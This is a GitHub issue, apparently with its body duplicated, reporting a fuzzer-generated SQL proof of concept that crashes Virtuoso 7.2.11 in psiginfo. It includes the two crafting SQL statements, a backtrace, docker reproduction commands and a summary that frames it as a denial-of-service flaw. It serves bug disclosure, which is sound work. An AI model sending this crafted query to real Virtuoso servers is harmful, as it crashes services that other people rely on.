The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
 CREATE TABLE v0 ( v2 INT , v1 VARCHAR(80) PRIMARY KEY ) ;
 UPDATE v0 SET v1 = 'abcf%' WHERE v1 IN ( SELECT 18018 / 6 FROM v0 WHERE v2 = '%n' GROUP BY '%H:%M:%f' HAVING v2 < 64 ) ;
```

backtrace:
```c
#0 0x7f59c536e09c (psiginfo+0x15c3c)
#1 0x7f59c5380f9a (vscanf+0x14a)
#2 0x503b4b (sqlc_new_error+0xbb)
#3 0x81506b (sqlg_const_cast+0x2bb)
#4 0x811cde (sqlg_vec_cast+0x16e)
#5 0x81350d (sqlg_vec_ts+0x87d)
#6 0x804048 (qn_vec_slots+0x328)
#7 0x8022f2 (sqlg_vec_qns+0x4c2)
#8 0x80200e (sqlg_vec_qns+0x1de)
#9 0x8007cb (cv_vec_slots+0x126b)
#10 0x803e83 (qn_vec_slots+0x163)
#11 0x8022f2 (sqlg_vec_qns+0x4c2)
#12 0x81750c (sqlg_vector_subq+0xdc)
#13 0x817c51 (sqlg_vector+0x61)
#14 0x6bd2c5 (sql_compile_1+0x2355)
#15 0x7cba60 (stmt_set_query+0x340)
#16 0x7cd952 (sf_sql_execute+0x922)
#17 0x7cecde (sf_sql_execute_w+0x17e)
#18 0x7d799d (sf_sql_execute_wrapper+0x3d)
#19 0xe214bc (future_wrapper+0x3fc)
#20 0xe28dbe (_thread_boot+0x11e)
#21 0x7f59c5644609 (start_thread+0xd9)
#22 0x7f59c5414133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.11 crashed at `psiginfo`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.11 crashed at `psiginfo`
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
 CREATE TABLE v0 ( v2 INT , v1 VARCHAR(80) PRIMARY KEY ) ;
 UPDATE v0 SET v1 = 'abcf%' WHERE v1 IN ( SELECT 18018 / 6 FROM v0 WHERE v2 = '%n' GROUP BY '%H:%M:%f' HAVING v2 < 64 ) ;
```

backtrace:
```c
#0 0x7f59c536e09c (psiginfo+0x15c3c)
#1 0x7f59c5380f9a (vscanf+0x14a)
#2 0x503b4b (sqlc_new_error+0xbb)
#3 0x81506b (sqlg_const_cast+0x2bb)
#4 0x811cde (sqlg_vec_cast+0x16e)
#5 0x81350d (sqlg_vec_ts+0x87d)
#6 0x804048 (qn_vec_slots+0x328)
#7 0x8022f2 (sqlg_vec_qns+0x4c2)
#8 0x80200e (sqlg_vec_qns+0x1de)
#9 0x8007cb (cv_vec_slots+0x126b)
#10 0x803e83 (qn_vec_slots+0x163)
#11 0x8022f2 (sqlg_vec_qns+0x4c2)
#12 0x81750c (sqlg_vector_subq+0xdc)
#13 0x817c51 (sqlg_vector+0x61)
#14 0x6bd2c5 (sql_compile_1+0x2355)
#15 0x7cba60 (stmt_set_query+0x340)
#16 0x7cd952 (sf_sql_execute+0x922)
#17 0x7cecde (sf_sql_execute_w+0x17e)
#18 0x7d799d (sf_sql_execute_wrapper+0x3d)
#19 0xe214bc (future_wrapper+0x3fc)
#20 0xe28dbe (_thread_boot+0x11e)
#21 0x7f59c5644609 (start_thread+0xd9)
#22 0x7f59c5414133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A segmentation fault in Virtuoso 7.2.11 occurs when executing a crafted SQL statement, which can lead to a Denial of Service (DoS). The issue arises from the handling of specific SQL constructs that trigger a crash in the `psiginfo` function, as evidenced by the provided backtrace. This vulnerability can be exploited by sending specially crafted SQL queries to the database, potentially allowing an attacker to crash the server.